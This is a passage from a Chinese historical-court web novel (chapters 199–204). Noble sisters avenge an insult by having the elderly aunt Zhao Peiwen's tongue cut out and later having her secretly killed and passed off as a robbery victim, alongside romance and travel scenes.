两个不能承嗣的女儿……她说得真好,一下就说中了阿娘和姨母心中的刺。
“姐姐。”姜珞现在有点后悔了,她是想借着张琼华狠狠打赵佩雯的脸,但她没想到这个老妪,竟敢如此大放厥词!
下人得了卫国公的指示,恭恭敬敬请她们进去。
姜珞扶着姜璎的手,进去一眼就看见了床榻上的老不死,她眼中一闪而过怒火。
第199章 割舌
姜珞的身份很特殊,她虽然是以姜家二姑娘的身份暂住蓼莪院,但在旁人眼里已经是准皇后了。
别说赵咨等人,就是卫国公这个长辈,也不能再用以往的态度对待她。
“家翁,大兄,二兄。”姜璎敛了敛眸,神色平和给几人行礼。
姜珞扯了下嘴角,跟在姐姐身边,同样屈膝见礼:“天水姜氏,姜珞,见过国公大人。”
她没给什么好脸色,就是对平时里喊得分外亲切的赵家大兄、赵家二兄,也懒得施舍一个眼神。
平日里敬上几分,还不是看在姐姐的面子?如今看来,就是太给他们脸了。
一群**!
连个老妪都处理不了,**了就**!她保证一人一个棺材安排得明明白白!
在姜珞眼里,卫国公那一巴掌,打了跟没打一样。宽恕等同放纵,而放纵就是无异于明晃晃地欺负她姐姐!
嫁人了就这点不好,上头都是长辈妯娌,不好撕破脸面。
不过没关系,姐姐有她。
“不必多礼。”
卫国公一开口,姜珞立马扶着姜璎坐下,语气理所应当,“姐姐,你刚崴了脚,就不要站着了。”
“怎么还崴了脚?”卫国公皱了皱眉。
姜璎不好意思笑了一下,心里把姜珞捶了一顿,每次张口就来,也不知道跟她通个气!
姜珞漫不经心道:“我刚从郑二嫂嫂那边过来,半路上听见这位张女君说,都是姐姐从中作梗,不许国公帮衬永安侯府,故而一时冲动,让人小小惩戒了一番,也省得张女君吃饱了闲的,没事找事无中生有。”
卫国公冷冷扫过来,眼神极具压迫感,吓得张琼华浑身一僵,忍不住打了个寒颤。
她脸颊两边各挨了十几个巴掌,浮肿又狼狈,泪水在眼眶打转,愣是不敢哭出声。
赵佩雯看见外孙女这样,几乎目眦欲裂,破口大骂:“你算什么东西,凭什么在赵家教训我的孙女?”
“你给我住口!”
卫国公的呵斥不仅没有让赵佩雯冷静下来,反而令她越发痛恨姜璎姐妹两个,怒气从脚底蹿上心口,直冲脑门,她随手抓起一个暖手的铜炉砸向姜璎!
“琼华哪里说错了?你不就是因为这**,才不肯帮扶的永安侯府!赵堰,你以为赵咎娶了她,你犯下的过错就能一笔勾销?我告诉你,不可能!你和高炳这辈子都对不起萧家!”
铜炉被赵哲挡下,骨碌碌滚落在地。
赵佩雯状若疯癫,尖声道:“赵堰你背主忘恩,残害手足,不得好死!”
“还有你——!”
赵佩雯手指姜璎,有些气喘不上来,但还是一字一句道:“你嫁给仇人的儿子!萧渡要是知道,他的外孙女是这种**胚子,一定死不瞑目,哈哈哈哈哈哈哈!”
赵佩雯的话,仿佛一记重拳,狠狠砸在姜璎心头,疼得她直不起腰,面色煞白一片。
“母亲,别说了、别说了……”朱家人吓得不轻,一时冒出虚汗。
眼看卫国公忍无可忍,屋内忽然响起一声笑。
姜珞站在姜璎身边,嘴角微微上扬,眼里却无任何笑意。
“一个身无诰命的老妪,也敢口出狂言,诋毁太祖皇帝。”
“来人——”
随着声音落下,外头进来两个平平无奇的婢女。
卫国公一眼就看出她们下盘稳固,又是生面孔,脑海浮现一个念头:难道是明惠帝给姜珞的人?
他猜对了。
明惠帝知道姜珞要回老家,写了好几封信,一哭二闹三上吊都用上了,结果姜珞不吃这套,压根不来理他,后面好说歹说,才收下他送的这两个宫女。
“姑娘。”
“拖下去,拔了她的舌头。”
一句轻描淡写的话,让屋里的人愣在原地。
她说什么?拔、拔谁的舌头?
赵佩雯那句“你敢”还没说出口,整个人就像死狗一般被人拖到地上。
红枣撕下身上一块衣料,笑嘻嘻堵住赵佩雯的嘴。
甘草一把扯起她的头发,跟拔蒜苗似的,提着她往外走。
“不、不!”终于有人反应过来,朱家的女眷吓得连话都说不出来,朱七郎冲上去,厉声道,“贱婢,放开我母亲!”
朱家主又气又急,看向卫国公,“
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阿舅,我阿娘再怎么样也是你的嫡亲妹妹!”
他怎么能任由一个外人,欺负自己的亲妹妹呢?
赵咨暗暗皱眉,动了动唇,想说什么,被赵哲拽住胳膊。
赵哲冲他摇了摇头。
姑母无足轻重,万不可为了她得罪天水姜氏!
哐当!
朱七郎被一脚踹出去,摔在屏风上。
“啊——!”
朱季灵整个人都吓傻了!只能躲在母亲怀里偷偷哭泣。
她还算有个依靠,张琼华却是连最后一点指望都没有了。她眼睁睁看着赵佩雯被拖出去,神情呆傻,虚脱无力瘫坐在地。
怎么会这样,怎么会这样……
姜珞的手搭在姜璎肩上,笑吟吟道:“卫国公不会还想给这疯妇求情吧?您放心,我是最好说话的,只要您开口,我保证放了赵老妪。”
朱家主此刻也顾不得这女郎言语上的不敬,他望着卫国公:“阿舅!”
卫国公看向姜璎,似乎希望她能说点什么。
“阿池。”
姜珞勃然大怒,这个老**!就知道为难她姐姐!
姜璎握住她的手,起身道:“病中的人难免说胡话,家翁放心,这点小事,我还不至于放心上。”
还不等朱家主松一口气。
姜璎淡淡道:“只要陛下不生气。”
“身体欠安,不便久留,还请家翁见谅。”她欠了欠身,拉着姜珞的手往外走。
外头响起一声凄厉至极的惨叫。
从尖锐到呜咽嘶哑,只用了不到三个呼吸。
“阿娘!”朱家主冲出去,看见地上斑驳血迹,以及躺着一根软舌。
一时间天旋地转,差点倒下去。
他踉跄着扑到母亲身前,甘草松开手,红枣擦拭了一下**上的血,一脸嫌弃。
“可惜了,弄脏了陛下赏赐的短匕。”
“可惜什么?回头我让人用宝石镶嵌,给你重新打一把。”姜珞道,红枣立马眉开眼笑。
向氏等人默契地用身体挡住旁边,以免脏了姜璎的眼。
姜璎深吸一口气,握着姜珞的手,“我们即刻动身出发,前往秦州!”
第200章 烦人
回到蓼莪院,姜璎让人迅速收拾行李,按照路上所需的物品清单明细一一备齐,因前些日子就已经准备得差不多,故而今日只需查漏补缺,做到万无一失。
香薷踌躇不安,“女君,我们不等郎君回来吗?”
姜璎道:“自然要等,你们先把东西收拾了。对了,把小荷叫来,问问她要不要跟我们一起走。”
“唯。”香薷闻言松了口气,她还以为女君不要郎君了呢!
很快小荷被带来。
她的奴籍身契已经被姜璎从刘氏手中要了回来,又经郑氏身边的老人好一段时间调教,变化之大,简直可以称得上一句脱胎换骨。
这吃得饱,睡得香,不仅身上脸上长了肉,整个人的气色也肉眼可见变好。
小荷在来的路上就已经知道姜璎要说什么,她认真道:“姑娘,奴婢不怕吃苦,奴婢只想留在姑娘身边。”
姜璎说好,问了小荷近况后,心里大致也有数了。
“我给你找一个老师,你接下来就跟她学识字写字。她脾气不好,要是打你骂你,亦或者偷懒懈怠,你只管告诉我。”
小荷能感受到姜璎对自己的重视,忙点头答应,“奴婢记住了!”
她高兴,姜珞却一点儿也不高兴。
“院里头有这么多识字的,凭什么要我教她?我是主子还她是主子!”姜珞跺了跺脚,大声道。
没有人理她。
姜璎低着头算账,想起什么,问身旁的人,“先前晾晒的肉干怎么样了?”
甘棠道:“已经晾干收起来了,还是姑娘有法子,这样方便保存,到时候路上蒸一蒸就能吃。”
甘棠和采苓是姜昀给女儿准备的贴身丫鬟,平日里专门负责打理姜璎的陪嫁。
姜珞见没人理她,面子挂不住,磨蹭着赖到姜璎身边,撅了撅嘴道:“姐姐,你就换别人嘛!”
“换谁?”姜璎推开她脑袋,“你自己看看,这屋里哪个人有你这般空闲?”
姜珞不服气,“我也很忙的!”
姜璎头也不抬,敷衍道:“是吗?”
“是呀!”姜珞用力点头,又忍不住发牢骚:“姐姐你不知道高忱有多烦人,他一会儿要我进宫,一会儿要跟我回姜家,我真的都想揍——”
姜璎看她一眼,姜珞立马捂住嘴巴,瓮声瓮气道:“反正、反正他可烦人,我还得应付他,很忙的呢。”
姜璎想到赵咎有时候也烦人,估计明惠帝就是被他给带坏的。
姜珞跟没骨头似的趴在姜璎身上,“姐姐,你别看高忱长得老实,其实他心眼可多了!刚才还派人来问赵老妪的事情呢……”
姜璎一顿,“他有说什么吗?”
姜珞眉眼一弯,神采飞扬,“他夸我做得好!”
姜璎忍俊不禁,“其他没了?”
当然还有。
姜珞撇了撇嘴,高忱哪次不是废话一箩筐?这回更是得寸进尺,非要她绣块帕子或者香囊给他,说要日日夜夜揣在怀里以慰思念……害她都不好意思在姐姐跟前提起!
真是丢她的脸!
姜珞才懒得写信,让红枣转达,“帕子没有,香囊也没有,就一块擦脚布,你问问看他要不要?”
该死的高忱,明知道她女红不好,还敢提起这种要求。
活得不耐烦了吧他!
哼!
“好了,安分点,我们明日就走。”姜璎拍了拍她脑袋,“小荷陪我一起长大,你教她识字写字,要是成果明显,有奖励。”
奖励?
姜珞眼睛一亮,立马大声道:“这个任务交给我,姐姐放一百二十个心!我最会教人了!”
她抓起小荷就往外走,那架势,堪比磨刀霍霍向牛羊。
向氏走进来,在姜璎耳边低声道:“就在刚刚,陛下以‘家宅不宁、品德无状’为由,废黜了永安侯的爵位。”
姜璎哂笑道:“这下倒好,再也不用费尽心思求这个求那个了。”
可不是!
向氏畅快一笑,听说张琼华前脚刚回永安侯府,后脚永安侯就把姜承祁狠狠抽了一顿,抽得皮开肉绽、头破血流。
祖宗挣来的爵位,转眼灰飞烟灭。
搁谁身上能好受?
不过,他们这也是偷鸡不成反
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蚀把米。向氏可不信永安侯会不知道儿子儿媳做的事情,无非是抱着侥幸心理,觉得赵佩雯能说动卫国公罢了!
傍晚,赵咎从外头回来,从下人口中得知家里发生的事,便直奔寝卧。
姜璎刚沐浴完,擦拭了差不多干的头发披散肩头,她跪坐在琉璃镜前,向氏用牛角梳从头顶到发尾先梳了五十几下,再用指腹轻轻按摩头皮,揉得差不多,最后才往手心倒了些精油,动作极为细致地保养发丝。
“阿池。”赵咎走进来,站在火炉旁驱走冷气,才脱了木屐过来从身后抱住她。
向氏抿嘴一笑,示意其他人一起退下。
赵咎用鼻尖蹭了蹭她面颊,声音低低的,“……对不起宝宝。”
姜璎歪了歪脑袋,似乎不解:“对不起什么?”
赵咎低声道:“让你受委屈了。”
姜璎静静地看着琉璃镜中的人,这世间女子,但凡嫁人,就总要受些委屈。便是如她阿娘、姨母这样厉害的人,也免不了同族中长辈周旋。
世上之事,岂能尽如人意。
总得知足才行。
“我不委屈。”她如是道,仰起头,轻轻吻了一下他面颊,“浓浓让人割了姑母的舌头,我想就到此为止吧,也给家翁一个面子。”
“我们明日即刻动身,离京赴任,好吗?时间上跟朱家人错开,免得半路遇上,大家都不痛快。”
赵咎微微敛眸,语气有些苦恼,“你怎么老是这么善良。”
放过赵佩雯?绝无可能。
他只后悔没有早些动手,当初就不该听赵哲的,一拖再拖,反倒多生出事端来。
姜璎又问了一遍,“我们明日就走,可以吗?”
“可以。”
“那你去家翁那边说一声吧。”
“不用理他。”赵咎淡淡道,如果不是因为老头**会连累全家丁忧,他早就想送他下去见母亲了。
丁忧,即父母死后,朝廷官员必须辞去官职,回家守孝三年。
赵咨赵哲赵言都在官场,赵咎又即将外放。
这个节骨眼上,谁死赵堰都不能死。
第201章 相送
翌日休沐,卫国公府再度迎来一位不速之客。
高忱一身玄衣,眉清目秀,丰神如玉,看起来就是一个富贵雅致的世家贵公子。
“还好赶得及时。”
“陛下?”姜璎错愕道,没想到高忱今日会过来,赵咎这会儿又刚好不在,她忙上前行礼,膝盖尚未弯曲,就被高忱阻止。
“今日是我不请自来,还请舅母勿怪。”
高忱态度好到可以用殷勤来形容,他把早就准备好的暖手炉塞到姜璎手里,自觉转换称呼,“姐姐,浓浓在里头吗?”
姜璎表情一言难尽:“……”
高忱哈哈两声,“要不还是喊舅母吧,免得浓浓以为我要跟她抢姐姐。”
听着命好苦的感觉。
姜璎忍不住腹诽。
“姐姐,我收拾好啦。”姜珞走出来,声音娇憨,笑容更是甜得能掐出蜜来。
高忱心里酸溜溜,浓浓还从来没有像这样对他撒娇。
下一秒,姜珞看见他,笑容立马消失,甚至流露出一丝警惕,“你来干什么?”
高忱心碎一地。
姜璎道:“不许对陛下无礼。”
“好嘛好嘛。”姜珞说完,迅速拉了高忱进屋,房门关上的瞬间,高忱就缠了上来,手臂紧紧绕过她的身子,将腰肢箍得严严实实。
动作强势,声音却十足十的委屈。
他控诉道:“你又欺负我。”
姜珞不耐烦,“问你呢,你来干什么?事先说好啊,我可不会带你回姜家。”
她小嘴一张一合,像熟透了的樱桃,高忱眨了眨眼,一个字也没听心里去。
“浓浓……”
姜珞一巴掌糊他脸上,“好好说话,不许动手动脚!”
不疼。
高忱心里美滋滋,觉得浓浓还是心疼自己的,偏头亲了亲她柔嫩的手心。
姜珞:“……”
他还真当狗当上瘾了啊!
高忱低头,手指灵活地在她腰间系上象征帝王身份的玉佩,时间紧迫,他只能絮絮叨叨多说一些,“我不能陪你一起回去,你在外头要好好照顾自己……”
怎么这么啰嗦啊。
姜珞受不了了,干脆搂着他脖子往下压,堵住这张喋喋不休的嘴。
啃啃啃。
舔舔舔。
咂巴咂巴还是没味儿。
姜珞意兴阑珊,突发奇想:“下次可以在嘴里含一块桂花糖。”
高忱被她啃的嘴巴都肿了,真是痛并快乐着。
他黏黏糊糊问:“为什么要含糖呀,我觉得浓浓已经足够甜了。”
姜珞想起来,“那可能是我刚才用了一盏酪浆!加了蜂蜜的,唉,便宜你了!”
高忱附和道:“便宜我了。”
姜珞推开他,“行了行了,知道见着便宜就回去偷乐吧。”
她可是要做皇后的人,绝不能耽于情爱!
男人,不过浮云而已!
话说回来,回去就亲不到了,姜璎又啃了两口,过足了瘾,才摆手让高忱滚蛋。
……用完就扔的架势,比女皇还要气派。
高忱眼神不无幽怨。
姜珞理直气壮,谁让他自己送上门的!
他难道不知道,娶为妻,奔为妾的道理吗?送上门来的,哪有什么好东西!
她还没嫌弃他放浪,一点儿也不洁身自好呢。
高忱差点吐血。
“我哪里……”放浪两个字说不出口,他委屈又忿然,只能轻轻撞一下她额头,闷声闷气。
“浓浓是坏蛋。”
姜珞不以为耻反以为荣,得意洋洋,“我要做大坏蛋!”这样就没有人可以欺负她跟姐姐。
赵咎回来时,姜珞和高忱也刚好从屋里出来。
赵咎眯起眼,“你来干什么?”说出了和姜珞一模一样的话。
高忱跟姜珞待久了,也学到了她几分霸道。
“又不是来送你的,你少管。”
赵咎:“……”
谁想管他?
真是的,一把年纪了还这么叛逆!
行礼全都搬上牛车,足足十多辆,加上护卫奴仆,将近百来人。
光是路程估计就得花上一个月。
姜珞如蝴蝶般飞到姜璎面前,转了个小小的圈,一脸求夸道:“姐姐你看,这块玉佩是不是很衬我的新衣裳?”
姜璎还没说话,高忱就立马捧场:“好看!如同仙子下凡!”
赵咎冷嘲热讽,“谁问你了?”
马屁精!
高忱不甘示弱,“那我也不是跟你说话!”<
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br>烦人鬼!
姜璎假装没看见,从他们身边掠过。
姜珞嘻嘻笑,“两个幼稚鬼,再见咯!”
赵咎和高忱对视一眼,高忱率先哼出一声,他才不是幼稚鬼!他微一抬手,容已上前来,手里捧着一个长条锦盒。
赵咎看见里头的东西,眸光一闪。
“九郎,陛下亲笔手书,三品以下官员,可先斩后奏。”容已微笑道。
赵咎动了动唇,想说什么。
高忱道:“不用太感动,斩而后奏说说而已,真有什么事,你记得先上折子。”
这样不管发生什么,他都能保住他。
赵咎“嗯”了一声,沉声道:“湛奴,你也要好好保重身体。”
高忱是一个非常勤政的皇帝,时常处理公务到深夜。
“好了,我也要回宫了。”高忱不想过多客套,免得眼泪汪汪,“你记得帮我照顾好浓浓。”这个是最重要的!
赵咎:“……”
柔情烟消云散。
有病,不知道的还以为姜珞刚学会走路。
一行人上了车。
姜珞对盛京没有什么感情,自然不会伤心。半路休整,她还死乞白赖上了赵咎他们的车,“姐姐姐夫,我们一起来聊天啊!”
赵咎:“……”
高忱烦,你更烦。
他捏着鼻子忍了下来。
姜璎忍俊不禁,从暗格里抓了几颗糖给姜珞。
“路上少喝水,饿了就吃点饼饵垫垫肚子。”
“姐姐,我知道的。”姜珞乖乖点头,越是靠近秦州,她就越是依靠姜璎。
他们离京的第三日,朱家人也提出了告辞。
本来当日就想走的,多留这三天完全是因为赵佩雯被割了舌头,需要养伤。
朱家主这次是彻底恨上卫国公,身为长兄,他竟然眼睁睁看着母亲任人欺辱!
“大兄!难道我们就这么算了吗?”朱七郎忿忿不平,他胸口到现在还隐隐作痛。
“住口。”朱家主呵斥道,阴着脸让人把母亲抬到牛车里。
他回头冷冷地看了一眼卫国公府的牌匾,心中暗恨:今日之耻,他日必定百倍千倍偿还!他非要赵堰三跪九叩给母亲赔罪不可!
还有姜家——!
第202章 割喉
晌午时分,一队有着朱氏族徽的车辆离开了盛京。
“大家,您先睡一会儿,等到了驿站,媳妇再喊您。”朱大夫人柔声道。
朱家主侍母至孝,把最宽敞舒适的一辆牛车让给了母亲,又让妻子和弟妇好生照料。
他们兄弟几个则坐前头的牛车。
“啊……”赵佩雯声音沙哑,难听至极,微微张嘴时能隐约看见一点猩红断面,朱大夫人目光闪烁匆匆低下了头。
时下的止血药是极其珍贵的资源,仅供贵人使用,卫国公倒是可以问太医署拿药,但明惠帝亲自过问此事,摆明了是为姜珞撑腰的态度,卫国公权衡利弊,便也没有再管这个妹妹。
朱大夫人垂眼给赵佩雯擦嘴角的口水,赵佩雯养尊处优多年,吃过最大的苦头也就是卫国公那几巴掌,如今被割了舌头,就算上了药,也是治标不治本,可以说是没日没夜地疼。
这一疼就控制不住张嘴流口水。
朱大夫人伺候婆母多年,早就习惯了,她唯一庆幸的是儿子女儿都已成家,虽非名门望族,但也是清白门第、书香世家。
也幸好她没让女儿跟着一起过来,否则,怕是要跟朱季灵一样被吓个半死,每晚做噩梦。
朱大夫人跪坐在婆母身边,微微抬眸,同朱七夫人对视一眼。
朱七夫人的肠子都悔青了,只恨自己当初不够强硬,若是早早把女儿嫁回娘家,今时今日也不会有这一遭!
也不知道婆母能活多久……朱七夫人暗暗下决心,等回了朱家,她就立马跟兄嫂商议,定下婚期!否则再耽误下去,连这兜底的亲事也没了。
妯娌二人各有各的心思,但大致关系都不差,毕竟上头有这么一尊大佛压着。
赵佩雯苛待媳妇也不是一日两日了,寻常人家给婆母侍疾,大多做做样子,毕竟有下人。
但赵佩雯身子不舒服,朱大夫人几个必须得亲力亲为,否则就是不孝!她跟儿子哭诉,朱家主等人自然不能容忍!哪有媳妇不敬婆母的?
朱大夫人想起自己刚生完长女那年,赵佩雯燥结难排(便秘),她嫌弃婆子粗手粗脚,丫鬟没轻没重,非得她近身伺候,用手指伸入为她挖出污秽!
朱家主得知后不仅没觉得妻子受委屈,反倒还一个劲夸她孝顺懂事,当然,他嘴上说的好听,实际上后面足足一整年没踏进她的院子。
这件事,朱大夫人永世难忘!
她强忍着苦楚不敢跟娘家吐露,好在几个妯娌都是好人,时不时过来陪她说话,儿子女儿也还算孝顺。
要不然,这日子怎么熬得下去?
前头牛车,朱七郎惦记着母亲的伤势,忍不住抱怨道:“大兄,你说说你,怎么也不知道求一求阿舅?阿娘要是用上好一些的伤药,如今也能少一些痛苦。”
朱家主闭目养神,淡淡道:“求有用吗?”
如果赵堰有良心,他就不会眼睁睁看着母亲被人割了舌头!
朱七郎面色一阵青一阵白,忍不住骂道:“都是琼华这丫头不懂事!一心向着婆家,害得阿娘受这么大的罪!”
朱家主没搭理他。
朱家如今虽子嗣众多,却是个青黄不接、无以为继的尴尬境况。
早些年,卫国公准备给朱家主安排个地方县令的位置,但他当时年轻气盛,瞧不上小小县令一职,就客客气气婉拒了,后面卫国公便再没管过他们。
吴郡四姓,顾陆朱张,只剩他们一家无人在朝为官。
世家世家,只有世代为官,才能称得上世家!而顶级世家,便是三代之内有人位列三公。
姜昀为什么出仕?因为他不止是梁帝的嫡亲外甥,更是天水姜氏的族长兼家主。
家族的荣耀高于一切。
赵佩雯为什么急急忙忙上京?要说单纯为孙女着想,是不可能的,她最大的目的是希望借联姻来扶持朱家。
如果赵咎娶了朱季灵,那么赵家势必要帮扶朱家一把,再怎么样,赵咎的老丈人也不能没有一官半职啊!
朱家主深深叹了口气,心中既恨赵堰狠辣无情,又恨父亲去的太早,兄弟几个没一个争气。
若长此以往下去,他们朱家就要跌出世家之列了。
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难道,最后还是得和阿舅低头不成?
天色渐暗,朱家的家丁很快找了驿站。朱家主和朱七郎两个儿子扶着母亲下车,朱大夫人跟朱七夫人对视一眼,都从对方眼里看到了疲惫。
今晚上怕是又不能睡了。
赵佩雯喜欢折腾人,哪怕舌头被割,说不了话,她也有一百种方式磋磨儿媳。
夜里,赵佩雯用了一点温凉的米汤,又上了药,怎么都睡不着,就让两个媳妇跪在她床边抄写孝经。
抄写不费劲,费劲的是如何在昏暗的月光下,抄的端端正正、一字不差。
只因赵佩雯睡觉,向来不许有一丁点光亮。
朱大夫人告诉自己,再忍忍,等回了朱家。
朱七夫人把眼泪憋回去,等女儿嫁了人,她一定、一定想办法送这老不死的东西归天——!
到了半夜。
三抹黑色身影飞身进了驿站。
家丁昏昏沉沉,压根没有察觉,更别说朱家主等人了。
房门悄无声息打开,冷风呼呼,炭盆忽然烧旺起来。
朱大夫人手腕酸软,想要停下揉一揉,却见木板上多出一片影子。
她心中陡然一惊,还未回头,就被一记手刀劈晕过去。
朱七夫人同样如此。
黑暗中,三人交换了个眼神,其中两人把房内的所有财物搜罗了个一干二净,另一人则靠近赵佩雯,眼神森冷。
强烈的杀气惊醒了赵佩雯。
她看见床边站着的黑衣人,眼珠子险些夺眶而出,想要出声,喉咙蓦地一疼。
黑衣人居高临下,冷冷看着她。
侮辱陛下,本该五马分尸!
奈何小主人千叮咛万嘱咐,不能留下任何把柄。
割喉放血,真是便宜这老妪了。
“她们呢?”同伴看了眼昏迷过去的朱大夫人俩人。
“老三,你去把她们身上显眼的财物拿了。”
老三是女的。
他们一路跟随,隐匿暗中,亲眼目睹赵佩雯怎么磋磨儿媳。
给她们留下一条活路。
就当为小主人积福了。
第203章 践踏
一刻钟后,朱大夫人眼皮子动了动,浓重的血腥味儿刺激着鼻腔,她猛一惊醒,下意识摸了摸身上的衣服,无有异样,才松了口气,目光缓缓转向床榻。
赵佩雯半个身子倒在地上,眼睛瞪得老大,脖子一条血线,浸透了那一簇兔毛领子。
“大家……”
朱大夫人愣在原地。
很快,朱七夫人也缓缓醒来,她看见赵佩雯死不瞑目,险些尖叫一声。
朱大夫人眼疾手快捂住她的嘴,“弟妹,别!”
朱七夫人忍着惊惧,点了点头。
朱大夫人低声道:“我刚检查了屋里,但凡值钱的东西全没了,就连我们身上的玉佩钗环,也没了……”
朱七夫人捂着嘴,难道是碰上了土匪?
“不是土匪。”朱大夫人冷静下来,示意她看赵佩雯,一刀割喉,必定是训练有素的**,来人杀了赵佩雯,又将她摆成一个极其狼狈的姿势,却未动她们二人。
除却私仇以外,再无第二种可能。
“难道,是、是姜……”
“是谁都跟我们没关系!”朱大夫人咬了咬牙,定定地看着弟妹,“你难道忘了她是怎么对我们的?”
这句话是在提醒朱七夫人,也是提醒她自己。
“她**,朱家才能一团和气,季灵也不过是守几年孝。她要不死,你觉得季灵还能顺利嫁出去?”
“你说的对……”朱七夫人神情从彷惶到坚定。
朱大夫人握紧她的手,“弟妹,你听我说,寻仇的人既然夺走财物,不管是贪财,还是心善,都给我们留了一条活路。到时候,我们就说土匪闯进来抢夺财物,大家不肯给,才给杀害……”
至于她们。
两个妇人,难道还要同穷凶极恶之徒硬碰硬不成?
朱七夫人连连点头。
没多久,驿站里头响起一声惨叫。
所有人都被惊醒。
朱家主兄弟几个匆匆忙忙赶到母亲房间,入目就是赵佩雯的尸体。
鲜血已经凉透。
朱大夫人和朱七夫人披头散发,一个脸上有巴掌印,一个脖子有掐痕,狼狈得不成样子。
“老爷!”朱大夫人含着泪,声音颤抖地说了方才的经过,“外头的下人都被打晕了过去,我同弟妹势单力薄,无力反抗,原想将钱财拱手相让,孰料大家在这时醒了过来,死活不肯,还要求救……”
“那贼人一怒之下,便杀了大家!”
说完泣不成声。
外头守着的仆婢是两人的陪嫁,自然口风统一。
朱七夫人跪着扑在赵佩雯身上,“大家本还有一口气在,偏那贼人将我二人打晕!方才醒来,大家却已经……!”
两人哭得不能自已。
朱家主面色铁青,好半天,“哇——”地吐出血来。
“老爷!”
“大兄!”
朱家主没让人扶,他跪在母亲身前,“阿娘!都是儿子不孝!”
他重重磕头。
朱七郎也哭着道:“儿子应该守在娘身边才是……”
屋里哭声一片。
朱大夫人掖了掖眼角,“老爷,贼人恐未走远,我们不如尽早追上去,再派人报官,将人绳之以法,以慰大家在天之灵。”
朱七郎抬头,急急道:“是啊!大兄,我现在就带人追上去!”
“你给我闭嘴!”朱家主狠狠甩了弟弟一个耳光,厉声道,“且不说夜黑风高,追不追得上,你难道想让所有人都知道,母亲是被土匪所害?我们朱家的名声还要不要了?!”
听到这话,朱大夫人心中的大石彻底落地。
她抿了抿嘴,做出一副伤心的模样。
“老爷说的是……”
朱家主将母亲抱起放到床上,哑着嗓子吩咐人去购冰,虽说天冷了,但也怕回去路上尸体发臭。
母亲——
他眼泪落下。
屋内财物确实洗劫一空,贼人甚至连赵佩雯身上的玉佩玉镯都没放过。
选中她们这屋,想来也是因为观察许久,确定全是女眷,无有反抗之力,才下手的罢。
朱家主没有起疑心,下人购来冰块后,天也蒙蒙亮,下令立刻动身启程。
放慢路程是为了赵佩雯,如今加快路程,也是为了赵佩雯。
早些回去,早些下葬。
他们没能保护好母亲,总要让她老人家走得体面才是!
一路尘土飞扬,黄沙漫天。
十多辆牛车停在一家茶肆不远处。
仆婢们围起幔帐,将里头的人挡得严严实实。
姜璎身子
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骨算不上好,唯恐路上病倒,萧止柔特意给外甥女找了个女师,她们平时空闲就可以锻炼身体。
此时姐妹二人正踢毽子。
姜璎踢出了一身汗,小脸红扑扑,向氏端了温水喂到她嘴边。
姜璎喝了几口,甘棠上前道:“姑娘,奴婢扶您去车里更衣吧。”
到了车里,甘棠在姜璎手心写字:“三姨他们已经把人解决了。”
三姨是当年护卫萧晞离开的暗卫之一。
暗卫没有名字,只以甲乙丙丁排辈,甲字是暗卫之中武功最为深厚的,当年跟随萧晞到天水姜氏,忠心耿耿。
甲三,便是三姨。她这些年一直在外寻找姜璎,对这些母亲留下的忠心耿耿的老人,姜璎都以亲长之礼相待。
这次派出去三个,来回用了不到五日。
甘棠取了一套干净的衣裳给姜璎换上,低声安慰道:“姑娘不必有压力。”
她见姜璎一直不说话,以为她是第一次取人性命,心里压抑。
“我没事。”姜璎轻声道。
不是故作坚强,她对赵佩雯的死没有任何感觉。
从她提起大父的名讳开始,姜璎就生出了杀心。
什么放朱家人回去,都是屁话!
她压根不会让赵佩雯活着回到朱家。
至于卫国公会不会猜到,姜璎压根不在乎,只要没有证据,他就动不了自己。
不留下丁点蛛丝马迹,是为了不暴露甲一他们的存在。
大父给母亲留下的东西太多太多,母亲甚至连父亲都没有告诉,而是全部给了她。
姜璎已经不是以前那个懵懂怯懦的少女,想要保护自己和家人,就得先学会——藏。
换好衣服,她缓缓走下牛车。
另一边,归南对赵咎低声禀报,“二郎君手底下的人,跟我们的人都慢了一步。”
赵咎微微挑眉,“慢了一步是什么意思?自己死的,还是被人杀了?”
归南道:“据说是土匪抢财,一刀割喉。”
赵咎笑了一声,淡淡道:“死的太轻松了。派几个人跟去吴郡,到时候把装尸体的牛车撞翻,再寻些流民。”
“我要她,被万人践踏。”
“死无全尸。”
嗯…就当提前给赵恪的生辰礼了。
第204章 童谣
越往北走就越荒凉,偶有人影,也是**路过车队的流寇和土匪。
好在离秦州渐近,天水姜的大名如雷贯耳,显目的族徽,加上训练有素的家丁部曲,令流寇们不敢靠近半分。
如此顺利,大家原本应该松一口气。
但就在这个节骨眼上,姜璎病倒了。
因为水土不服导致的晕车,其他人多多少少也有一点,但都没有姜璎这么严重。
她吐得死去活来,吃什么吐什么,随行的郎中熬了药,还没喝一口,光是闻着这个味儿就已经把胆汁吐出来了。
后面实在没办法,向氏让人熬了粟米粥,哄着用了一点儿米油。
到了夜里,姜璎又开始发高烧,昏昏沉沉地说胡话。
赵咎又心疼又着急,嘴巴都起了燎泡。
他抱着她,用冷水一遍遍擦拭胳膊和小腿,一直到了后半夜,终于退到低烧。
向氏等人提心吊胆,硬生生熬了一宿没睡。
姜珞也守在旁边,一刻不停地打湿帕子,拧干递给赵咎,然后又打湿,再拧干,持续重复这个过程。
她低着头,瞳孔涣散,没有焦距,只唇瓣微微蠕动。
姐姐。
不要丢下我……
求求你,求求你。
各种杂乱无章的声音挤进脑海,姜璎难受得想哭,却发现一张嘴,发出了嘤嘤的哼唧。
“咦,我们阿石这是在说梦话吗?”新奇的声音从头顶响起,姜昀轻手轻脚抱起女儿,没忍住亲了亲她红扑扑的小脸蛋。
胡渣子戳得生疼。
“哇——”姜璎哭起来。
“阿蘅!”这可把姜昀吓得不轻,连忙求助地看向妻子。
阿蘅,是阿娘吗?
姜璎哼哼唧唧,停止哭闹,想要睁开眼投入母亲怀抱,却被一抹胭脂色盖在头顶,软软滑滑的衣衫遮住了视线,教她什么也看不清。
“一会儿该用晚膳了,阿石不睡了,好不好?”
“呜呜。”
好晕,好困,头好痛。
她呜咽起来,很快落入一个柔软馨香的怀抱。
“你这个小磨人精,这会儿睡多了,晚上又不肯睡了。”萧晞轻轻碰了一下女儿额头,眼角眉梢流露着暖融融的笑意。
哪怕视线模糊,姜璎依旧能感觉到来自面前人的高贵美丽,尤其这一笑,更是令人魂牵梦绕。
“阿石,阿娘的阿石。”
浓重的药味扑面而来,母亲的声音也逐渐虚弱。
姜璎茫然地看着四周。
除了哭声,还是哭声。
低低的、压抑的哭声。
“阿昭,照顾好我们的孩子,还有阿菀……我把阿石交给你,你帮我……”
在一片哭声中,萧晞轻抚女儿发顶的手,慢慢滑落下去。
萧家人都不长寿,没有一个是活过三十的。
